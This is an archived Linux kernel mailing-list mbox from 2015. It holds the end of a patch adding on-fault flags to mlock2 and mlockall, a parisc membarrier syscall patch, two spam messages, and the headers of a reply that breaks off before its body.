diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 0086b47..f2f9496 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -37,6 +37,9 @@
 
 #define MCL_CURRENT	 8192		/* lock all currently mapped pages */
 #define MCL_FUTURE	16384		/* lock all additions to address space */
+#define MCL_ONFAULT	32768		/* lock all pages that are faulted in */
+
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index cfcb876..97c03f4 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -61,6 +61,12 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
+
+/*
+ * Flags for mlock
+ */
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 294d251..ecc3ae1 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -31,6 +31,9 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
+
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL     0               /* no further special treatment */
 #define MADV_RANDOM     1               /* expect random page references */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index 6ea26df..03c06ba 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -22,6 +22,7 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ONFAULT	0x8000		/* lock all pages that are faulted in */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 0b14df3..9765896 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -17,6 +17,7 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ONFAULT	0x8000		/* lock all pages that are faulted in */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index 81b8fc3..63ee13f 100644
--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -36,6 +36,7 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 
 #endif /* _ASM_TILE_MMAN_H */
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 201aec0..360944e 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -74,6 +74,12 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
+
+/*
+ * Flags for mlock
+ */
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/include/uapi/asm-generic/mman-common.h b/include/uapi/asm-generic/mman-common.h
index ddc3b36..a74dd84 100644
--- a/include/uapi/asm-generic/mman-common.h
+++ b/include/uapi/asm-generic/mman-common.h
@@ -25,6 +25,11 @@
 # define MAP_UNINITIALIZED 0x0		/* Don't support this flag */
 #endif
 
+/*
+ * Flags for mlock
+ */
+#define MLOCK_ONFAULT	0x01		/* Lock pages in range after they are faulted in, do not prefault */
+
 #define MS_ASYNC	1		/* sync memory asynchronously */
 #define MS_INVALIDATE	2		/* invalidate the caches */
 #define MS_SYNC		4		/* synchronous memory sync */
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index e9fe6fd..7162cd4 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -17,5 +17,6 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 #endif /* __ASM_GENERIC_MMAN_H */
diff --git a/mm/mlock.c b/mm/mlock.c
index 7efe27d..0747663 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -506,7 +506,8 @@ static int mlock_fixup(struct vm_area_struct *vma, struct vm_area_struct **prev,
 
 	if (newflags == vma->vm_flags || (vma->vm_flags & VM_SPECIAL) ||
 	    is_vm_hugetlb_page(vma) || vma == get_gate_vma(current->mm))
-		goto out;	/* don't set VM_LOCKED,  don't count */
+		/* don't set VM_LOCKED or VM_LOCKONFAULT and don't count */
+		goto out;
 
 	pgoff = vma->vm_pgoff + ((start - vma->vm_start) >> PAGE_SHIFT);
 	*prev = vma_merge(mm, *prev, start, end, newflags, vma->anon_vma,
@@ -576,7 +577,7 @@ static int apply_vma_lock_flags(unsigned long start, size_t len,
 		prev = vma;
 
 	for (nstart = start ; ; ) {
-		vm_flags_t newflags = vma->vm_flags & ~VM_LOCKED;
+		vm_flags_t newflags = vma->vm_flags & VM_LOCKED_CLEAR_MASK;
 
 		newflags |= flags;
 
@@ -645,10 +646,15 @@ SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
 
 SYSCALL_DEFINE3(mlock2, unsigned long, start, size_t, len, int, flags)
 {
-	if (flags)
+	vm_flags_t vm_flags = VM_LOCKED;
+
+	if (flags & ~MLOCK_ONFAULT)
 		return -EINVAL;
 
-	return do_mlock(start, len, VM_LOCKED);
+	if (flags & MLOCK_ONFAULT)
+		vm_flags |= VM_LOCKONFAULT;
+
+	return do_mlock(start, len, vm_flags);
 }
 
 SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
@@ -665,24 +671,43 @@ SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
 	return ret;
 }
 
+/*
+ * Take the MCL_* flags passed into mlockall (or 0 if called from munlockall)
+ * and translate into the appropriate modifications to mm->def_flags and/or the
+ * flags for all current VMAs.
+ *
+ * There are a couple of subtleties with this.  If mlockall() is called multiple
+ * times with different flags, the values do not necessarily stack.  If mlockall
+ * is called once including the MCL_FUTURE flag and then a second time without
+ * it, VM_LOCKED and VM_LOCKONFAULT will be cleared from mm->def_flags.
+ */
 static int apply_mlockall_flags(int flags)
 {
 	struct vm_area_struct * vma, * prev = NULL;
+	vm_flags_t to_add = 0;
 
-	if (flags & MCL_FUTURE)
+	current->mm->def_flags &= VM_LOCKED_CLEAR_MASK;
+	if (flags & MCL_FUTURE) {
 		current->mm->def_flags |= VM_LOCKED;
-	else
-		current->mm->def_flags &= ~VM_LOCKED;
 
-	if (flags == MCL_FUTURE)
-		goto out;
+		if (flags & MCL_ONFAULT)
+			current->mm->def_flags |= VM_LOCKONFAULT;
+
+		if (!(flags & MCL_CURRENT))
+			goto out;
+	}
+
+	if (flags & MCL_CURRENT) {
+		to_add |= VM_LOCKED;
+		if (flags & MCL_ONFAULT)
+			to_add |= VM_LOCKONFAULT;
+	}
 
 	for (vma = current->mm->mmap; vma ; vma = prev->vm_next) {
 		vm_flags_t newflags;
 
-		newflags = vma->vm_flags & ~VM_LOCKED;
-		if (flags & MCL_CURRENT)
-			newflags |= VM_LOCKED;
+		newflags = vma->vm_flags & VM_LOCKED_CLEAR_MASK;
+		newflags |= to_add;
 
 		/* Ignore errors */
 		mlock_fixup(vma, &prev, vma->vm_start, vma->vm_end, newflags);
@@ -697,7 +722,8 @@ SYSCALL_DEFINE1(mlockall, int, flags)
 	unsigned long lock_limit;
 	int ret = -EINVAL;
 
-	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE)))
+	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT)) ||
+	    flags == MCL_ONFAULT)
 		goto out;
 
 	ret = -EPERM;
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.api,gmane.linux.kernel
Subject: [RFC PATCH 9/9] parisc: allocate sys_membarrier system call number
Date: Thu, 27 Aug 2015 13:56:55 -0400
Lines: 50
Approved: news@gmane.org
Message-ID: <1440698215-8355-10-git-send-email-mathieu.desnoyers@efficios.com>
References: <1440698215-8355-1-git-send-email-mathieu.desnoyers@efficios.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1440698637 6487 80.91.229.3 (27 Aug 2015 18:03:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 27 Aug 2015 18:03:57 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	Mathieu Desnoyers <mathieu.desnoyers@efficios.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	linux-api@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 27 20:03:45 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZV1WQ-0008RE-9q
	for glpp-linux-parisc@plane.gmane.org; Thu, 27 Aug 2015 20:03:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753196AbbH0SDd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 27 Aug 2015 14:03:33 -0400
Original-Received: from mail.efficios.com ([78.47.125.74]:46586 "EHLO mail.efficios.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752554AbbH0SCw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 27 Aug 2015 14:02:52 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id 09F0E34040A;
	Thu, 27 Aug 2015 17:57:30 +0000 (UTC)
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id BZ5OypjCkStH; Thu, 27 Aug 2015 17:57:21 +0000 (UTC)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id C56B234040E;
	Thu, 27 Aug 2015 17:57:21 +0000 (UTC)
X-Virus-Scanned: amavisd-new at efficios.com
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id iwcaeCe1sPv7; Thu, 27 Aug 2015 17:57:21 +0000 (UTC)
Original-Received: from thinkos.internal.efficios.com (cable-192.222.213.99.electronicbox.net [192.222.213.99])
	by mail.efficios.com (Postfix) with ESMTPSA id B2C35340413;
	Thu, 27 Aug 2015 17:57:20 +0000 (UTC)
X-Mailer: git-send-email 2.1.4
In-Reply-To: <1440698215-8355-1-git-send-email-mathieu.desnoyers@efficios.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25990 gmane.linux.kernel.api:13703 gmane.linux.kernel:2027997
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25990>

[ Untested on this architecture. To try it out: fetch linux-next/akpm,
  apply this patch, build/run a membarrier-enabled kernel, and do make
  kselftest. ]

Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
CC: Andrew Morton <akpm@linux-foundation.org>
CC: linux-api@vger.kernel.org
CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
CC: Helge Deller <deller@gmx.de>
CC: linux-parisc@vger.kernel.org
---
 arch/parisc/include/uapi/asm/unistd.h | 3 ++-
 arch/parisc/kernel/syscall_table.S    | 1 +
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index 2e639d7..dadcada 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -358,8 +358,9 @@
 #define __NR_memfd_create	(__NR_Linux + 340)
 #define __NR_bpf		(__NR_Linux + 341)
 #define __NR_execveat		(__NR_Linux + 342)
+#define __NR_membarrier		(__NR_Linux + 343)
 
-#define __NR_Linux_syscalls	(__NR_execveat + 1)
+#define __NR_Linux_syscalls	(__NR_membarrier + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 8eefb12..2faa43b 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -438,6 +438,7 @@
 	ENTRY_SAME(memfd_create)	/* 340 */
 	ENTRY_SAME(bpf)
 	ENTRY_COMP(execveat)
+	ENTRY_COMP(membarrier)
 
 
 .ifne (. - 90b) - (__NR_Linux_syscalls * (91b - 90b))
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Unknown <unknown@unknown.invalid>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: LOAN OFFER OF ALL TYPES
Date: Fri, 28 Aug 2015 03:01:24 +0530
Lines: 7
Approved: news@gmane.org
Message-ID: <HKXPR02MB06142175976CD0FB8AADABB5B86F0@HKXPR02MB0614.apcprd02.prod.outlook.com>
Reply-To: <paulfredrickfinanceservice@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1440711147 13411 80.91.229.3 (27 Aug 2015 21:32:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 27 Aug 2015 21:32:27 +0000 (UTC)
To: Recipients@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 27 23:32:17 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZV4mN-0008LY-Jo
	for glpp-linux-parisc@plane.gmane.org; Thu, 27 Aug 2015 23:32:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751443AbbH0VcP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 27 Aug 2015 17:32:15 -0400
Original-Received: from mail-pu1apc01hn0210.outbound.protection.outlook.com ([104.47.126.210]:21476
	"EHLO APC01-PU1-obe.outbound.protection.outlook.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1751367AbbH0VcO convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 27 Aug 2015 17:32:14 -0400
Authentication-Results: spf=none (sender IP is ) smtp.mailfrom=<>; 
Original-Received: from [100.65.33.108] (116.203.76.133) by
 HKXPR02MB0614.apcprd02.prod.outlook.com (10.161.50.139) with Microsoft SMTP
 Server (TLS) id 15.1.243.23; Thu, 27 Aug 2015 21:31:49 +0000
Content-Description: Mail message body
Original-From: <>
X-Originating-IP: [116.203.76.133]
X-ClientProxiedBy: SIXPR04CA0019.apcprd04.prod.outlook.com (10.141.119.19) To
 HKXPR02MB0614.apcprd02.prod.outlook.com (25.161.50.139)
X-Microsoft-Exchange-Diagnostics: 1;HKXPR02MB0614;2:D2/dFldU9wskBXn1d85J5Y0/8Kgo2E+zkPSXMQe/+uvYZoMk7FM5ZiPSha2UKqQYq3XA+VxxP5VfRblmfSHkaO1TX893uv+5PHhewOjbM9VRq+aCjJPiGrvq2L04XYKeuI98KK8dbUYC6rhi6R/uN7CP36kblo+UqGg+f4LhYP4=;3:2Bl+zEWTTfL+VSUA7LsCY2qDbGFxW/t1hwatIAq6OyiWaI+BzSVcUntDku+qLD0YG4I5Rhea4JWhiRxjiGTHouEeH+sPqx50TTgKTfKmSjDtNqkmpJpq2CDMQP7uSPGC9utVCeZfjmSby8jci1WmvA==;25:34LsbzBeOplqi9h/9bXmRqDW5w72oHNmUcRihtzLMVOvGUCA8N4I++etE6G72talHAS1pZy6GJ9AgW/zTbdR6sbqLQaqkDCqftYVCiljGv/iBf3f5BigXeRsHY6+XORqdRo7XX1YLYX300jQYdejHj1qsM71fT7iJ3BA8ZzVPrW77ve8iVvoPFgjyEgZgmhZIDBuTO103X3HA1iKUmXqZT6oXq4uzb0nMTQ5Xeb/ftnFuG+CEDLNskQhzjXAwbXgoQCzlpswNkLi5NMK1aDF8w==;4:O+d/8oYJNoR8DBung7CK9X9+EjOMNLC8sspazCwS5AxCoNzX7IC4smTlDQqeUlm9DAvmGzc33pBIsTy7lUWdhfobEdvk9T5eM2or8ipodxcnVHV9SC6fD8+voww3r61zQsUDxp
 ypkXtglQZHecg9ISlv7swIeUj2tjzuXkUflhjGisYssGWV2BM3XwELYMfLkkREE58iV9ig6NTYQiMGkcUwCzVrgt5z1Ww+j3Nr 
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:;SRVR:HKXPR02MB0614;
X-Microsoft-Antispam-PRVS: <HKXPR02MB0614CDC617F8A70F4B08E6C9B86F0@HKXPR02MB0614.apcprd02.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:;
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(601004)(5005006)(8121501046)(3002001);SRVR:HKXPR02MB0614;BCL:0;PCL:0;RULEID:;SRVR:HKXPR02MB0614;
X-Forefront-PRVS: 06818431B9
X-Forefront-Antispam-Report: SFV:SPM;SFS:(10009020)(6009001)(6049001)(189002)(199003)(4001450100002)(558084003)(5007970100001)(23756003)(5004730100002)(68736005)(5005630100001)(77096005)(105586002)(250100001)(106356001)(77156002)(62966003)(19580395003)(53806999)(54356999)(101416001)(50986999)(19580405001)(5001830100001)(97736004)(4001540100001)(5001860100001)(110136002)(4001600100001)(107886002)(5001920100001)(5001960100002)(81156007)(109986003)(78352002)(46102003)(189998001)(42186005)(229853001)(66066001)(64706001)(47776003)(43066003)(85782001)(86152002)(86362001)(42382002)(33656002)(40100003)(46552002)(122386002)(53256004)(87976001)(76576001)(74316001)(50466002)(7099028)(543214007)(4001620100002);DIR:OUT;SFP:1501;SCL:5;SRVR:HKXPR02MB0614;H:[100.65.33.108];FPR:;SPF:None;PTR:InfoNoRecords;
 MX:0;A:0;LANG:en;
Received-SPF: None (protection.outlook.com: [100.65.33.108] does not designate
 permitted sender hosts)
X-Microsoft-Exchange-Diagnostics: =?iso-8859-1?Q?1;HKXPR02MB0614;23:HZbZ8Zfg7So5jf+tuYadQmhLrNgG1bJBryZ9CQO?=
 =?iso-8859-1?Q?YEZYq5G2UtMZvvj2e836AciXSKy2bDtFxbuSumpVno8arMnu4R9M4itmD1?=
 =?iso-8859-1?Q?dgPmtcYa4QadbvQbMQKMeW483VrKf8jZEMWi0ZLBxbO6Xek3GKTO0CgCJQ?=
 =?iso-8859-1?Q?CWwV8bSpEmQ1hMxXC0i72Ehq6VNytkkoQCJa2UrQ6wGQNJ95PAPq/OO7BT?=
 =?iso-8859-1?Q?qgBz9OJmhxcYbTZMnZqcqzhwQdDvcvY8Zs3voqqSsD2NDe09V5BNcydco6?=
 =?iso-8859-1?Q?5AlIBcXF1hZePGNc0CkZo/LIw2vxyIKozxTiM56xObGix9XmjqpcEPayqn?=
 =?iso-8859-1?Q?Elv4ByZuivRMdkGwBEHZSiY+yxa3lh5sZe6fjTg75e8yxIxeYOsp76e1eM?=
 =?iso-8859-1?Q?Cb/HiIpseX7VQWs2WhmvibRGH28EmeWhCUcPVzYN3+J0uBvTdy1tP7xTpA?=
 =?iso-8859-1?Q?JIVzqRKaLrE5m2wg2UL/FE4eeaV/LnvmAJk2IwhwlgwkTPIHYDj07hcC1Y?=
 =?iso-8859-1?Q?NjtOtXEfnvQbjl2Sdhr6exRYEZP+NYLr3n//FbewmQrkSR9ugzNTNIwl3n?=
 =?iso-8859-1?Q?0p7FcDLeVXG5TaP/a8ICLtksfB1256+xvH3L2dvLuk7w2EoxXrIN+jaXPQ?=
 =?iso-8859-1?Q?dofi 
X-Microsoft-Exchange-Diagnostics: 1;HKXPR02MB0614;5:3D7e/sGyqYpzeHfyySPsjnQcWxLGfp+Va61f+/mrP+GUEh7Y6o+Qr9E9ZY6eBj0vWIu6qOlrOYbZlix5s+oiaXCarS3n//FLPRB56VXp9m+n6xoGBRmZsRStA/irZYP7wR8coLPDDCdZzYFqjBtLpw==;24:K4zlS3/RFglXm39HepDilqFX/VyuXSO8tsdBcezwAV/4nQafO63JzKVK6+FmFSHypSfFvsQj8f39CwlThKqoJA==;20:US+db9QVrt40BxUcSawxNAihGpfjYE/Ede/dk5MaTxqtFnrAiTIoLduXKEoHpqt1mjVTnAoDyZoU8auM8d1zww==
SpamDiagnosticOutput: 1:22
SpamDiagnosticMetadata: 00000000%2D0000%2D0000%2D0000%2D000000000000
X-OriginatorOrg: kellyroland.onmicrosoft.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 27 Aug 2015 21:31:49.5947
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-Transport-CrossTenantHeadersStamped: HKXPR02MB0614
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 6.7 points;
 *  2.2 FH_FROMEML_NOTLD E-mail address doesn't have TLD (.com, etc.)
 *  0.5 FROM_NO_USER From: has no local-part before @ sign
 *  1.8 SUBJ_ALL_CAPS Subject is all capitals
 *  2.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?116.203.76.133>]
Xref: news.gmane.org gmane.linux.ports.parisc:25991 gmane.spam.detected:5300665
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25991>

Good day, PAUL FREDRICK FINANCE offer loans at 2% annual rate. Apply with amount needed, loan duration and phone number Via: 
:paulfredrickfinanceservice@gmail.com 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vicky <vicky.gitasiswaya@lrs.co.id>
Newsgroups: gmane.linux.ports.parisc
Subject: 1
Date: Fri, 28 Aug 2015 19:51:50 +0700 (WIT)
Lines: 7
Approved: news@gmane.org
Message-ID: <1460592582.126568.1440766310673.JavaMail.root@lrs.co.id>
Reply-To: "Vicky " <cquinn@netzero.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1440768266 5279 80.91.229.3 (28 Aug 2015 13:24:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 28 Aug 2015 13:24:26 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 28 15:24:19 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZVJdh-00063n-BR
	for glpp-linux-parisc@plane.gmane.org; Fri, 28 Aug 2015 15:24:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752470AbbH1NYQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 28 Aug 2015 09:24:16 -0400
Original-Received: from mail.lrs.co.id ([103.233.159.133]:34817 "EHLO lrs.co.id"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1752106AbbH1NYM (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 28 Aug 2015 09:24:12 -0400
X-Greylist: delayed 1309 seconds by postgrey-1.27 at vger.kernel.org; Fri, 28 Aug 2015 09:24:07 EDT
Original-Received: from localhost (localhost [127.0.0.1])
	by lrs.co.id (Postfix) with ESMTP id 2FB3825ADCFD;
	Fri, 28 Aug 2015 19:52:01 +0700 (WIT)
X-Amavis-Modified: Mail body modified (using disclaimer) - lrs.co.id
X-Virus-Scanned: amavisd-new at lrs.co.id
Original-Received: from lrs.co.id ([127.0.0.1])
	by localhost (lrs.co.id [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id 7WeUx27izPTZ; Fri, 28 Aug 2015 19:51:56 +0700 (WIT)
Original-Received: from lrs.co.id (lrs.co.id [103.233.159.133])
	by lrs.co.id (Postfix) with ESMTP id 4673D25AE828;
	Fri, 28 Aug 2015 19:51:54 +0700 (WIT)
X-Originating-IP: [108.62.54.219]
X-Mailer: Zimbra 8.0.1_GA_5438 (zclient/8.0.1_GA_5438)
Thread-Topic: 1
Thread-Index: 3/ZBzP/xbxziemmhTXo612TTqP3ToA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25992
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25992>

What time can i call you?

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api,gmane.linux.kernel.mm
Subject: Re: [PATCH v8 4/6] mm: mlock: Add mlock flags to enable
 VM_LOCKONFAULT usage
Date: Fri, 28 Aug 2015 16:31:30 +0200
Lines: 301
Approved: news@gmane.org
Message-ID: <20150828143130.GE5301@dhcp22.suse.cz>
References: <1440613465-30393-1-git-send-email-emunson@akamai.com>
 <1440613465-30393-5-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1440772308 9202 80.91.229.3 (28 Aug 2015 14:31:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 28 Aug 2015 14:31:48 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Vlastimil Babka <vbabka@suse.cz>,
	Jonathan Corbet <corbet@lwn.net>,
	"Kirill A. Shutemov" <kirill@shutemov.name>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org, linux-mm@kvack.org
To: Eric B Munson <emunson@akamai.com>
